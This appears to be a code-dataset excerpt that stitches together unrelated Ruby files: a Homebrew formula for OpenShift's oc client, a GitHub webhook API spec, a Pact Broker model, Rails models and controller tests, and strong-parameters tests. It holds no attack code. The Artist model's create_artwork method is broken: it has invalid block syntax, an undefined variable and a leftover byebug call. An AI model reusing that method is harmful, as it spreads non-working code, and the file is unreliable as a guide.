def install
arch = Hardware::CPU.arm? ? "arm64" : "amd64"
os = if OS.mac?
"darwin"
else
# See https://github.com/golang/go/issues/26487
ENV.O0
"linux"
end
ENV["GOPATH"] = buildpath
dir = buildpath/"src/github.com/openshift/oc"
dir.install buildpath.children - [buildpath/".brew_home"]
cd dir do
args = ["cross-build-#{os}-#{arch}"]
args << if build.stable?
"WHAT=cmd/oc"
else
"WHAT=staging/src/github.com/openshift/oc/cmd/oc"
end
args << "SHELL=/bin/bash" if OS.linux?
system "make", *args
bin.install "_output/bin/#{os}_#{arch}/oc"
bash_completion.install "contrib/completions/bash/oc"
zsh_completion.install "contrib/completions/zsh/oc" => "_oc"
end
end
test do
(testpath/"kubeconfig").write ""
system "KUBECONFIG=#{testpath}/kubeconfig #{bin}/oc config set-context foo 2>&1"
context_output = shell_output("KUBECONFIG=#{testpath}/kubeconfig #{bin}/oc config get-contexts -o name")
assert_match "foo", context_output
end
end
__END__
diff --git a/Makefile b/Makefile
index 940a90415..a3584fbc9 100644
--- a/Makefile
+++ b/Makefile
@@ -88,6 +88,10 @@ cross-build-darwin-amd64:
+@GOOS=darwin GOARCH=amd64 $(MAKE) --no-print-directory build GO_BUILD_PACKAGES:=./cmd/oc GO_BUILD_FLAGS:="$(GO_BUILD_FLAGS_DARWIN)" GO_BUILD_BINDIR:=$(CROSS_BUILD_BINDIR)/darwin_amd64
.PHONY: cross-build-darwin-amd64
+cross-build-darwin-arm64:
+ +@GOOS=darwin GOARCH=arm64 $(MAKE) --no-print-directory build GO_BUILD_PACKAGES:=./cmd/oc GO_BUILD_FLAGS:="$(GO_BUILD_FLAGS_DARWIN)" GO_BUILD_BINDIR:=$(CROSS_BUILD_BINDIR)/darwin_arm64
+.PHONY: cross-build-darwin-arm64
+
cross-build-windows-amd64:
+@GOOS=windows GOARCH=amd64 $(MAKE) --no-print-directory build GO_BUILD_PACKAGES:=./cmd/oc GO_BUILD_FLAGS:="$(GO_BUILD_FLAGS_WINDOWS)" GO_BUILD_BINDIR:=$(CROSS_BUILD_BINDIR)/windows_amd64
.PHONY: cross-build-windows-amd64
| 35.757895 | 189 | 0.709744 |
bb84ed1ff77d650ef703adf79d4ec0235aba29b9 | 2,153 | # encoding: utf-8
require 'spec_helper'
describe Github::Repos::Hooks, '#list' do
let(:user) { 'peter-murach' }
let(:repo) { 'github' }
let(:hook_id) { 1 }
let(:request_path) {"/repos/#{user}/#{repo}/hooks/#{hook_id}" }
let(:inputs) {
{
:name => 'web',
:config => {
:url => "http://something.com/webhook",
:address => "[email protected]",
:subdomain => "github",
:room => "Commits",
:token => "abc123"
},
:active => true,
:unrelated => true
}
}
before {
stub_patch(request_path).with(inputs.except(:unrelated)).
to_return(:body => body, :status => status,
:headers => {:content_type => "application/json; charset=utf-8"})
}
after { reset_authentication_for(subject) }
context "resource edited successfully" do
let(:body) { fixture("repos/hook.json") }
let(:status) { 200 }
it "should fail to edit without 'user/repo' parameters" do
expect { subject.edit }.to raise_error(ArgumentError)
end
it "should fail to edit resource without 'name' parameter" do
expect{
subject.edit user, repo, inputs.except(:name)
}.to raise_error(Github::Error::RequiredParams)
end
it "should fail to edit resource without 'hook_id'" do
expect { subject.edit user, repo }.to raise_error(ArgumentError)
end
it "should fail to edit resource without 'config' parameter" do
expect {
subject.edit user, repo, hook_id, inputs.except(:config)
}.to raise_error(Github::Error::RequiredParams)
end
it "should edit the resource" do
subject.edit user, repo, hook_id, inputs
a_patch(request_path).with(inputs).should have_been_made
end
it "should return resource" do
hook = subject.edit user, repo, hook_id, inputs
hook.should be_a Hashie::Mash
end
it "should be able to retrieve information" do
hook = subject.edit user, repo, hook_id, inputs
hook.name.should == 'web'
end
end
it_should_behave_like 'request failure' do
let(:requestable) { subject.edit user, repo, hook_id, inputs }
end
end # edit
| 27.602564 | 73 | 0.627497 |
26504e4e2d1cac339bae1bcd851e47550e02c323 | 1,317 | require "sequel"
require "pact_broker/repositories/helpers"
module PactBroker
module Deployments
class CurrentlyDeployedVersionId < Sequel::Model
plugin :upsert, identifying_columns: [:pacticipant_id, :environment_id, :target_for_index]
dataset_module do
include PactBroker::Repositories::Helpers
end
end
end
end
# Table: currently_deployed_version_ids
# Columns:
# id | integer | PRIMARY KEY GENERATED BY DEFAULT AS IDENTITY
# target_for_index | text | NOT NULL
# pacticipant_id | integer | NOT NULL
# environment_id | integer | NOT NULL
# version_id | integer | NOT NULL
# deployed_version_id | integer | NOT NULL
# Indexes:
# currently_deployed_version_ids_pkey | PRIMARY KEY btree (id)
# currently_deployed_version_pacticipant_environment_target_index | UNIQUE btree (pacticipant_id, environment_id, target_for_index)
# Foreign key constraints:
# currently_deployed_version_ids_environment_id_fkey | (environment_id) REFERENCES environments(id) ON DELETE CASCADE
# currently_deployed_version_ids_pacticipant_id_fkey | (pacticipant_id) REFERENCES pacticipants(id) ON DELETE CASCADE
# currently_deployed_version_ids_version_id_fkey | (version_id) REFERENCES versions(id) ON DELETE CASCADE
| 42.483871 | 132 | 0.75019 |
ed09904b274a5f95d7f50c951c22a598949cee1f | 861 | class Artist < Actor
has_many :locations, :as => :addressable
has_many :transactions, :as => :recipient
# has_many :transactions, :as => :supplier
validates_presence_of :first_name, :last_name
def create_artwork(title:, height_in:, width_in:, media: [])
media_map = media.map(med => Medium.find_or_create_by(name: med))
artwork = Artwork.create(title: title, height_in: height_in, width_in: width_in)
# artwork.media = media_map
transaction = self.transactions.new(artwork: artwork, location: artist.locations.first)
byebug
# artwork.media.fi
# painting.media.create(name: "oil") find or create
# painting.media.create(name: "acryllic")
# Painting.create().transactions.create()
# Creates a painting object and a transaction object
end
end
| 30.75 | 95 | 0.659698 |
61c63284a92e52f153464299d2e0dab21ad6fb78 | 7,290 | require 'rails_helper'
RSpec.describe Admin::PetitionDetailsController, type: :controller, admin: true do
let(:petition) { FactoryBot.create(:sponsored_petition) }
describe 'not logged in' do
describe 'GET #show' do
it 'redirects to the login page' do
get :show, params: { petition_id: petition.id }
expect(response).to redirect_to('https://moderate.petitions.parliament.scot/admin/login')
end
end
describe 'PATCH #update' do
it 'redirects to the login page' do
patch :update, params: { petition_id: petition.id }
expect(response).to redirect_to('https://moderate.petitions.parliament.scot/admin/login')
end
end
end
context 'logged in as moderator user but need to reset password' do
let(:user) { FactoryBot.create(:moderator_user, force_password_reset: true) }
before { login_as(user) }
describe 'GET #show' do
it 'redirects to edit profile page' do
get :show, params: { petition_id: petition.id }
expect(response).to redirect_to("https://moderate.petitions.parliament.scot/admin/profile/#{user.id}/edit")
end
end
describe 'PATCH #update' do
it 'redirects to edit profile page' do
patch :update, params: { petition_id: petition.id }
expect(response).to redirect_to("https://moderate.petitions.parliament.scot/admin/profile/#{user.id}/edit")
end
end
end
describe 'logged in as moderator user' do
let(:user) { FactoryBot.create(:moderator_user) }
before { login_as(user) }
describe 'GET #show' do
shared_examples_for 'viewing a petition in the correct state' do
it 'fetches the requested petition' do
get :show, params: { petition_id: petition.id }
expect(assigns(:petition)).to eq petition
end
it 'responds successfully and renders the petition_details/show template' do
get :show, params: { petition_id: petition.id }
expect(response).to be_successful
expect(response).to render_template('petition_details/show')
end
end
describe 'for a sponsored petition' do
it_behaves_like 'viewing a petition in the correct state'
end
describe 'for a pending petition' do
before { petition.update_column(:state, Petition::PENDING_STATE) }
it_behaves_like 'viewing a petition in the correct state'
end
describe 'for a validated petition' do
before { petition.update_column(:state, Petition::VALIDATED_STATE) }
it_behaves_like 'viewing a petition in the correct state'
end
describe 'for an open petition' do
before { petition.update_column(:state, Petition::OPEN_STATE) }
it_behaves_like 'viewing a petition in the correct state'
end
describe 'for a rejected petition' do
before { petition.update_columns(state: Petition::REJECTED_STATE) }
it_behaves_like 'viewing a petition in the correct state'
end
describe 'for a hidden petition' do
before { petition.update_column(:state, Petition::HIDDEN_STATE) }
it_behaves_like 'viewing a petition in the correct state'
end
end
describe 'PATCH #update' do
let(:petition) { FactoryBot.create(:sponsored_petition, action: 'Old action', background: 'Old background', additional_details: 'Old additional details') }
def do_update
patch :update, params: {
petition_id: petition.id,
petition: petition_attributes
}
end
describe 'allowed params' do
let(:params) do
{
petition_id: petition.id,
petition: {
action: 'New action',
background: 'New background',
additional_details: 'New additional_details',
creator_attributes: {
name: 'Jo Public',
email: '[email protected]',
postcode: 'G34 0BX',
contact_attributes: {
address: '1 Nowhere Road',
phone_number: '01234 567890'
}
}
}
}
end
it "are limited to action, background, additional_details and creator name" do
is_expected.to permit(
:action, :background, :additional_details,
:creator_attributes => [:name, :email, :postcode,
:contact_attributes => [
:address, :phone_number
]
]
).for(:update, params: params).on(:petition)
end
end
describe 'with valid params' do
let(:petition_attributes) do
{
action: 'New action',
background: 'New background',
additional_details: 'New additional_details',
creator_attributes: { name: 'New Creator' }
}
end
shared_examples_for 'updating a petition in the correct state' do
it 'redirects to the edit petition page' do
do_update
petition.reload
expect(response).to redirect_to"https://moderate.petitions.parliament.scot/admin/petitions/#{petition.to_param}"
end
it 'updates the petition' do
do_update
petition.reload
expect(petition).to be_present
expect(petition.action).to eq('New action')
expect(petition.background).to eq('New background')
expect(petition.additional_details).to eq('New additional_details')
expect(petition.creator.name).to eq('New Creator')
end
end
describe 'for a sponsored petition' do
it_behaves_like 'updating a petition in the correct state'
end
describe 'for a pending petition' do
before { petition.update_column(:state, Petition::PENDING_STATE) }
it_behaves_like 'updating a petition in the correct state'
end
describe 'for a validated petition' do
before { petition.update_column(:state, Petition::VALIDATED_STATE) }
it_behaves_like 'updating a petition in the correct state'
end
end
describe 'with invalid params' do
let(:petition_attributes) do
{
action: '',
background: '',
additional_details: 'Blah'
}
end
shared_examples_for 'updating a petition in the correct state' do
it 'renders the petition_details/show template again' do
do_update
expect(response).to be_successful
expect(response).to render_template('petition_details/show')
end
end
describe 'for a sponsored petition' do
it_behaves_like 'updating a petition in the correct state'
end
describe 'for a pending petition' do
before { petition.update_column(:state, Petition::PENDING_STATE) }
it_behaves_like 'updating a petition in the correct state'
end
describe 'for a validated petition' do
before { petition.update_column(:state, Petition::VALIDATED_STATE) }
it_behaves_like 'updating a petition in the correct state'
end
end
end
end
end
| 34.714286 | 161 | 0.617695 |
79381f20b552e66f3416b98e84403a088dd29064 | 2,115 | # coding: utf-8
class User < ActiveRecord::Base
# ВООБЩЕ-ТО В ЭТОЙ РЕАЛИЗАЦИИ ПРИЛОЖЕНИЯ name ВООБЩЕ НЕ НУЖЕН.
# ДЕЛАЮ, МОЖЕТ ПОТОМ ПРИГОДИТСЯ.
attr_accessible :ip, :name
# :name не делаю обязательным. В модели :null => true
# Для чего см. after_create. Т.к. name апдейтится после уже получения id
validates(:ip, :presence => true)
# Стархуемся: уникальность только пары колонок вместе.
validates_uniqueness_of(:id, :scope => :ip)
# Задаю ассоциации. Для модели User Их две:
# 1. Юзер - только один юзер-игрок может быть бегиннером данной игры.
# 2. Юзер - множество юзеров-игроков могут быть участниками данно игры, ЧЕРЕЗ game_users таблицу.
has_one(:game, :class_name => Cards::Game)
# !!!!! В :through указывается не имя таблицы-ассоциации, а имя МОДЕЛИ-ассоциации !!!!!
has_many(:games,
:through => :game_users,
:class_name => Cards::Game,
:order => "id DESC",
# :include => :game,
)
has_many(:game_users, :class_name => Cards::GameUser)
# Такой себе флаг, что новый юзер был создан, см. after_create. Проверяю флаг в games#create
# Если тру, то обновлять updated_at не надо, т.к. при создании юзера updated_at уже обновлен.
# Если nil, то надо, т.к. юзер не создался надо обновить существующему updated_at.
attr_accessor(:isNew)
# Цель: число в :name (user_123) должно соответствовать serial из таблицы.
# Для этого делаю такой финт ушами. Сначала происходит create нового юзера.
# А затем в этом методе, after_create, достаю полученный id и апдейтю поле :name.
# В дыбильной postgresql это похоже единственный вменяемый вариант.
# То же самое в Cards::Game (т.е. в энджине)
after_create() do |user|
user.update_attribute(:name, APP_CONF[:users][:name] + user.id.to_s)
end
# Только, если новый юзер создается, этот флаг установится.
# Если он есть, то updated_at юзера в games#create не обновляется. Т.к. при создании юзера поле уже обновилось.
# Это чтобы не гонять там зря туда-сюда запрос к БД.
after_create() { |user|
user.isNew=(true)
puts "\nBINGO, YOU'VE CREATED A NEW USER.\n\n"
}
end
| 35.847458 | 113 | 0.707329 |
7a866b2db37ed1e551dd747316eaa833ef7aefc3 | 86 | ErrorappNotifier.configure do|config|
config.api_key = ENV['ERROR_APP_API_KEY']
end
| 21.5 | 43 | 0.802326 |
e97eedbcbf20f46bf1726c15a1bd0885b07f4d22 | 60 | module Mongoid
class Diff
VERSION = "0.0.1"
end
end
| 10 | 21 | 0.633333 |
5d48d0f1696eddd23d9d4997c556b451958d964a | 14,053 | # frozen_string_literal: true
require 'view/game/actionable'
require 'view/game/bank'
require 'view/game/buy_sell_shares'
require 'view/game/company'
require 'view/game/corporation'
require 'view/game/par'
require 'view/game/players'
require 'view/game/sell_shares'
require 'view/game/stock_market'
require 'view/game/bid'
module View
module Game
module Round
class Stock < Snabberb::Component
include Actionable
needs :selected_corporation, default: nil, store: true
needs :selected_company, default: nil, store: true
needs :last_player, default: nil, store: true
needs :show_other_players, default: nil, store: true
def render
round = @game.round
@step = round.active_step
entity = @step.current_entity
@current_actions = round.actions_for(entity)
@auctioning_corporation = @step.auctioning_corporation if @step.respond_to?(:auctioning_corporation)
@selected_corporation ||= @auctioning_corporation
@mergeable_entity = @step.mergeable_entity if @step.respond_to?(:mergeable_entity)
@price_protection = @step.price_protection if @step.respond_to?(:price_protection)
@selected_corporation ||= @price_protection&.corporation
@current_entity = @step.current_entity
if @last_player != @current_entity && !@auctioning_corporation
store(:selected_corporation, nil, skip: true)
store(:last_player, @current_entity, skip: true)
end
children = []
children << h(Choose) if @current_actions.include?('choose') && @step.choice_available?(@current_entity)
if @step.respond_to?(:must_sell?) && @step.must_sell?(@current_entity)
children << if @game.num_certs(@current_entity) > @game.cert_limit
h('div.margined', 'Must sell stock: above certificate limit')
else
h('div.margined', 'Must sell stock: above 60% limit in corporation(s)')
end
end
if @price_protection
num_presentation = @game.share_pool.num_presentation(@price_protection)
children << h('div.margined',
"You can price protect #{num_presentation} of #{@price_protection.corporation.name} "\
"for #{@game.format_currency(@price_protection.price)}")
end
children.concat(render_buttons)
children << h(SpecialBuy) if @current_actions.include?('special_buy')
children.concat(render_failed_merge) if @current_actions.include?('failed_merge')
children.concat(render_corporations)
children.concat(render_mergeable_entities) if @current_actions.include?('merge')
children.concat(render_player_companies) if @current_actions.include?('sell_company')
children.concat(render_bank_companies)
children << h(Players, game: @game)
if @step.respond_to?(:purchasable_companies) && [email protected]_companies(@current_entity).empty?
children << h(BuyCompanyFromOtherPlayer, game: @game)
end
children << h(StockMarket, game: @game)
h(:div, children)
end
def render_buttons
buttons = []
buttons.concat(render_merge_button) if @current_actions.include?('merge')
buttons.concat(render_payoff_player_debt_button) if @current_actions.include?('payoff_player_debt')
buttons.any? ? [h(:div, buttons)] : []
end
def render_merge_button
merge = lambda do
if @selected_corporation
do_merge = lambda do
to_merge = if @selected_corporation.corporation?
{ corporation: @selected_corporation }
else
{ minor: @selected_corporation }
end
process_action(Engine::Action::Merge.new(
@mergeable_entity,
**to_merge
))
end
if @mergeable_entity.owner == @selected_corporation.owner
do_merge.call
else
check_consent(@selected_corporation.owner, do_merge)
end
else
store(:flash_opts, 'Select a corporation to merge with')
end
end
[h(:button, { on: { click: merge } }, @step.merge_action)]
end
def render_payoff_player_debt_button
payoffloan = lambda do
process_action(Engine::Action::PayoffPlayerDebt.new(@current_entity))
end
[h(:button, { on: { click: payoffloan } }, 'Payoff Loan')]
end
def render_failed_merge
return [] unless @step.merge_failed?
failed_merge = lambda do
process_action(Engine::Action::Undo.new(@game.current_entity, action_id: @step.action_id_before_merge))
process_action(Engine::Action::FailedMerge.new(@game.current_entity,
corporations: @step.merging_corporations))
end
text = 'The merger has failed. The President did not have a share to donate to the system.' \
" Press the 'Merge Failed' button to continue. You will not be able to undo to this point afterwards."
[h(:div, text),
h(:button, { on: { click: failed_merge } }, 'Merge Failed')]
end
def render_corporations
props = {
style: {
display: 'inline-block',
verticalAlign: 'top',
},
}
merging = @step.respond_to?(:merge_in_progress?) && @step.merge_in_progress?
corporations = if @step.respond_to?(:visible_corporations)
@step.visible_corporations
else
@game.sorted_corporations.reject(&:closed?)
end
corporations.map do |corporation|
next if @auctioning_corporation && @auctioning_corporation != corporation
next if @mergeable_entity && @mergeable_entity != corporation
next if @price_protection && @price_protection.corporation != corporation
children = []
children.concat(render_subsidiaries)
input = render_input(corporation) if @game.corporation_available?(corporation)
choose = h(Choose) if @current_actions.include?('choose') && @step.choice_available?(corporation)
children << h(Corporation, corporation: corporation, interactive: input || choose || merging)
children << input if input && @selected_corporation == corporation
children << choose if choose
h(:div, props, children)
end.compact
end
def render_input(corporation)
inputs = [
corporation.ipoed ? h(BuySellShares, corporation: corporation) : render_pre_ipo(corporation),
render_loan(corporation),
]
inputs << h(IssueShares, entity: corporation) unless (@step.actions(corporation) & %w[buy_shares sell_shares]).empty?
inputs << h(BuyTrains, corporation: corporation) if @step.actions(corporation).include?('buy_train')
inputs = inputs.compact
h('div.margined_bottom', { style: { width: '20rem' } }, inputs) if inputs.any?
end
def render_pre_ipo(corporation)
children = []
type = @step.ipo_type(corporation)
case type
when :par
children << h(Par, corporation: corporation) if @current_actions.include?('par')
when :bid
children << h(Bid, entity: @current_entity, corporation: corporation) if @current_actions.include?('bid')
when :form
children << h(FormCorporation, corporation: corporation) if @current_actions.include?('par')
when String
children << h(:div, type)
end
children << h(BuySellShares, corporation: corporation)
children.compact!
return h(:div, children) unless children.empty?
nil
end
def render_subsidiaries
return [] unless @current_actions.include?('assign')
@step.available_subsidiaries.map do |company|
h(Company, company: company)
end
end
def render_loan(corporation)
return unless @step.actions(corporation).include?('take_loan')
take_loan = lambda do
process_action(Engine::Action::TakeLoan.new(
corporation,
loan: @game.loans[0],
))
end
h(:button, { on: { click: take_loan } }, 'Take Loan')
end
def render_mergeable_entities
return unless @step.current_actions.include?('merge')
return unless @step.mergeable_entities
children = []
props = {
style: {
margin: '0.5rem 1rem 0 0',
},
}
children << h(:div, props, @step.mergeable_type(@mergeable_entity))
hidden_corps = false
@show_other_players = true if @step.show_other_players
@step.mergeable_entities.each do |target|
if @show_other_players || target.owner == @mergeable_entity.owner || !target.owner
children << h(Corporation, corporation: target, selected_corporation: @selected_corporation)
else
hidden_corps = true
end
end
button_props = {
style: {
display: 'grid',
gridColumn: '1/4',
width: 'max-content',
},
}
if hidden_corps
children << h('button',
{ on: { click: -> { store(:show_other_players, true) } }, **button_props },
'Show corporations from other players')
elsif @show_other_players
children << h('button',
{ on: { click: -> { store(:show_other_players, false) } }, **button_props },
'Hide corporations from other players')
end
children
end
def render_player_companies
props = {
style: {
display: 'inline-block',
verticalAlign: 'top',
},
}
@step.sellable_companies(@current_entity).map do |company|
children = []
children << h(Company, company: company)
if @selected_company == company
children << h('div.margined_bottom', { style: { width: '20rem' } }, render_sell_input(company))
end
h(:div, props, children)
end
end
def render_sell_input(company)
price = @step.sell_price(company)
buy = lambda do
process_action(Engine::Action::SellCompany.new(
@current_entity,
company: company,
price: price
))
store(:selected_company, nil, skip: true)
end
[h(:button,
{ on: { click: buy } },
"Sell #{@selected_company.sym} to Bank for #{@game.format_currency(price)}")]
end
def render_bank_companies
props = {
style: {
display: 'inline-block',
verticalAlign: 'top',
},
}
@game.companies.select { |c| c.owner == @game.bank }.map do |company|
children = []
children << h(Company, company: company,
bids: (@current_actions.include?('bid') ? @step.bids[company] : nil))
if @selected_company == company
inputs = []
inputs.concat(render_buy_input(company)) if @current_actions.include?('buy_company')
inputs.concat(render_bid_input(company)) if @current_actions.include?('bid')
children << h('div.margined_bottom', { style: { width: '20rem' } }, inputs)
end
h(:div, props, children)
end
end
def render_buy_input(company)
return [] unless @step.can_buy_company?(@current_entity, company)
return render_buy_input_interval(company) if company.interval
buy = lambda do
process_action(Engine::Action::BuyCompany.new(
@current_entity,
company: company,
price: company.value,
))
store(:selected_company, nil, skip: true)
end
[h(:button,
{ on: { click: buy } },
"Buy #{@selected_company.sym} from Bank for #{@game.format_currency(company.value)}")]
end
def render_buy_input_interval(company)
prices = company.interval.sort
buy_buttons = prices.map do |price|
buy = lambda do
process_action(Engine::Action::BuyCompany.new(
@current_entity,
company: company,
price: price,
))
end
props = {
style: {
width: 'calc(17.5rem/6)',
padding: '0.2rem',
},
on: { click: buy },
}
h('button.small.buy_company', props, @game.format_currency(price).to_s)
end
div_class = buy_buttons.size < 5 ? '.inline' : ''
[h(:div, [
h("div#{div_class}", { style: { marginTop: '0.5rem' } }, "Buy #{@selected_company.sym}: "),
*buy_buttons,
])]
end
def render_bid_input(company)
return [] unless @step.can_bid?(@current_entity, company)
[h(Bid, entity: @current_entity, corporation: company)]
end
end
end
end
end
| 36.981579 | 127 | 0.559453 |
edde87f4642332a5fb8002d07a0dfdedb7aa742c | 45 | array = [1,2,2,"vijay"]
a,b = array
puts a,b
| 11.25 | 23 | 0.577778 |
017826921ff849c48cf11f22f7d8e50940fee84a | 1,499 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe WhatsNewHelper do
describe '#whats_new_storage_key' do
subject { helper.whats_new_storage_key }
context 'when version exist' do
let(:release_item) { double(:item) }
before do
allow(ReleaseHighlight).to receive(:versions).and_return([84.0])
end
it { is_expected.to eq('display-whats-new-notification-84.0') }
end
context 'when most recent release highlights do NOT exist' do
before do
allow(ReleaseHighlight).to receive(:versions).and_return(nil)
end
it { is_expected.to be_nil }
end
end
describe '#whats_new_most_recent_release_items_count' do
subject { helper.whats_new_most_recent_release_items_count }
context 'when recent release items exist' do
it 'returns the count from the most recent file' do
allow(ReleaseHighlight).to receive(:most_recent_item_count).and_return(1)
expect(subject).to eq(1)
end
end
context 'when recent release items do NOT exist' do
it 'returns nil' do
allow(ReleaseHighlight).to receive(:most_recent_item_count).and_return(nil)
expect(subject).to be_nil
end
end
end
describe '#whats_new_versions' do
let(:versions) { [84.0] }
it 'returns ReleaseHighlight.versions' do
expect(ReleaseHighlight).to receive(:versions).and_return(versions)
expect(helper.whats_new_versions).to eq(versions)
end
end
end
| 25.844828 | 83 | 0.694463 |
916f4ddee172c7329a49abbb3a200d50e9b549b2 | 1,224 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'copy_method/version'
Gem::Specification.new do |spec|
spec.name = "copy_method"
spec.version = CopyMethod::VERSION
spec.authors = ["Alexa Grey"]
spec.email = ["[email protected]"]
spec.summary = %q{Copy a method from one class to another (experimental)}
spec.description = %q{Copy a method from one class to another (experimental)}
spec.homepage = "https://github.com/scryptmouse/copy_method"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.required_ruby_version = '~> 2.1'
spec.add_dependency "method_source", ">= 0.8"
spec.add_development_dependency "bundler", "~> 1.10"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "simplecov", '~> 0.10'
spec.add_development_dependency "rspec"
spec.add_development_dependency "yard"
spec.add_development_dependency "pry"
end
| 37.090909 | 104 | 0.669118 |
611fef8da8cb48dd57f8afad4d65021891d92f3e | 1,239 | # frozen_string_literal: true
require "spec_helper"
describe Mongoid::Extensions::Regexp do
describe ".demongoize" do
let(:value) do
Regexp.demongoize(/[^abc]/)
end
it "returns the provided value" do
expect(value).to eq(/[^abc]/)
end
end
describe ".mongoize" do
context "when providing a regex" do
let(:value) do
Regexp.mongoize(/[^abc]/)
end
it "returns the provided value" do
expect(value).to eq(/[^abc]/)
end
end
context "when providing a string" do
let(:value) do
Regexp.mongoize("[^abc]")
end
it "returns the provided value as a regex" do
expect(value).to eq(/[^abc]/)
end
context "when the string is empty" do
let(:value) do
Regexp.mongoize("")
end
it "returns an empty regex" do
expect(value).to eq(//)
end
end
end
context "when the value is nil" do
let(:value) do
Regexp.mongoize(nil)
end
it "returns the nil" do
expect(value).to be_nil
end
end
end
describe "#mongoize" do
it "returns self" do
expect(/[^abc]/.mongoize).to eq(/[^abc]/)
end
end
end
| 16.972603 | 51 | 0.557708 |
b9738c14e817e083d2e7052b7f01640f7d8b461b | 1,903 | #
# Author:: Joshua Timberman <[email protected]>
# Cookbook Name:: couchdb
# Recipe:: default
#
# Copyright 2008-2009, Opscode, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
include_recipe 'erlang' if node['couch_db']['install_erlang']
case node['platform_family']
when 'rhel'
group 'couchdb' do
system true
end
user 'couchdb' do
comment 'Couchdb Database Server'
gid 'couchdb'
shell '/bin/bash'
home '/var/lib/couchdb'
system true
end
include_recipe 'yum-epel'
end
package 'couchdb' do
package_name value_for_platform(
'openbsd' => { 'default' => 'apache-couchdb' },
'gentoo' => { 'default' => 'dev-db/couchdb' },
'default' => 'couchdb'
)
end
couchdb_config '/etc/couchdb'
directory '/var/lib/couchdb' do
owner 'couchdb'
group 'couchdb'
recursive true
path value_for_platform(
'openbsd' => { 'default' => '/var/couchdb' },
'freebsd' => { 'default' => '/var/couchdb' },
'gentoo' => { 'default' => '/var/couchdb' },
'default' => '/var/lib/couchdb'
)
end
service 'couchdb' do
provider Chef::Provider::Service::Upstart if platform?("ubuntu") && node["platform_version"].to_f >= 13.10
if platform_family?('rhel', 'fedora')
start_command '/sbin/service couchdb start &> /dev/null'
stop_command '/sbin/service couchdb stop &> /dev/null'
end
supports [:restart, :status]
action [:enable, :start]
end
| 27.185714 | 108 | 0.683132 |
6243b5c51b7bc3ded3f76afdc1d3f552aa049be7 | 7,458 | # frozen_string_literal: true
require "abstract_unit"
require "action_controller/metal/strong_parameters"
class NestedParametersPermitTest < ActiveSupport::TestCase
def assert_filtered_out(params, key)
assert_not params.has_key?(key), "key #{key.inspect} has not been filtered out"
end
test "permitted nested parameters" do
params = ActionController::Parameters.new(
book: {
title: "Romeo and Juliet",
authors: [{
name: "William Shakespeare",
born: "1564-04-26"
}, {
name: "Christopher Marlowe"
}, {
name: %w(malicious injected names)
}],
details: {
pages: 200,
genre: "Tragedy"
},
id: {
isbn: "x"
}
},
magazine: "Mjallo!")
permitted = params.permit book: [ :title, { authors: [ :name ] }, { details: :pages }, :id ]
assert_predicate permitted, :permitted?
assert_equal "Romeo and Juliet", permitted[:book][:title]
assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
assert_equal 200, permitted[:book][:details][:pages]
assert_filtered_out permitted, :magazine
assert_filtered_out permitted[:book], :id
assert_filtered_out permitted[:book][:details], :genre
assert_filtered_out permitted[:book][:authors][0], :born
assert_filtered_out permitted[:book][:authors][2], :name
end
test "permitted nested parameters with a string or a symbol as a key" do
params = ActionController::Parameters.new(
book: {
"authors" => [
{ name: "William Shakespeare", born: "1564-04-26" },
{ name: "Christopher Marlowe" }
]
})
permitted = params.permit book: [ { "authors" => [ :name ] } ]
assert_equal "William Shakespeare", permitted[:book]["authors"][0][:name]
assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
assert_equal "Christopher Marlowe", permitted[:book]["authors"][1][:name]
assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
permitted = params.permit book: [ { authors: [ :name ] } ]
assert_equal "William Shakespeare", permitted[:book]["authors"][0][:name]
assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
assert_equal "Christopher Marlowe", permitted[:book]["authors"][1][:name]
assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
end
test "nested arrays with strings" do
params = ActionController::Parameters.new(
book: {
genres: ["Tragedy"]
})
permitted = params.permit book: { genres: [] }
assert_equal ["Tragedy"], permitted[:book][:genres]
end
test "permit may specify symbols or strings" do
params = ActionController::Parameters.new(
book: {
title: "Romeo and Juliet",
author: "William Shakespeare"
},
magazine: "Shakespeare Today")
permitted = params.permit({ book: ["title", :author] }, "magazine")
assert_equal "Romeo and Juliet", permitted[:book][:title]
assert_equal "William Shakespeare", permitted[:book][:author]
assert_equal "Shakespeare Today", permitted[:magazine]
end
test "nested array with strings that should be hashes" do
params = ActionController::Parameters.new(
book: {
genres: ["Tragedy"]
})
permitted = params.permit book: { genres: :type }
assert_empty permitted[:book][:genres]
end
test "nested array with strings that should be hashes and additional values" do
params = ActionController::Parameters.new(
book: {
title: "Romeo and Juliet",
genres: ["Tragedy"]
})
permitted = params.permit book: [ :title, { genres: :type } ]
assert_equal "Romeo and Juliet", permitted[:book][:title]
assert_empty permitted[:book][:genres]
end
test "nested string that should be a hash" do
params = ActionController::Parameters.new(
book: {
genre: "Tragedy"
})
permitted = params.permit book: { genre: :type }
assert_nil permitted[:book][:genre]
end
test "nested params with numeric keys" do
params = ActionController::Parameters.new(
book: {
authors_attributes: {
'0': { name: "William Shakespeare", age_of_death: "52" },
'1': { name: "Unattributed Assistant" },
'2': { name: %w(injected names) }
}
})
permitted = params.permit book: { authors_attributes: [ :name ] }
assert_not_nil permitted[:book][:authors_attributes]["0"]
assert_not_nil permitted[:book][:authors_attributes]["1"]
assert_empty permitted[:book][:authors_attributes]["2"]
assert_equal "William Shakespeare", permitted[:book][:authors_attributes]["0"][:name]
assert_equal "Unattributed Assistant", permitted[:book][:authors_attributes]["1"][:name]
assert_equal(
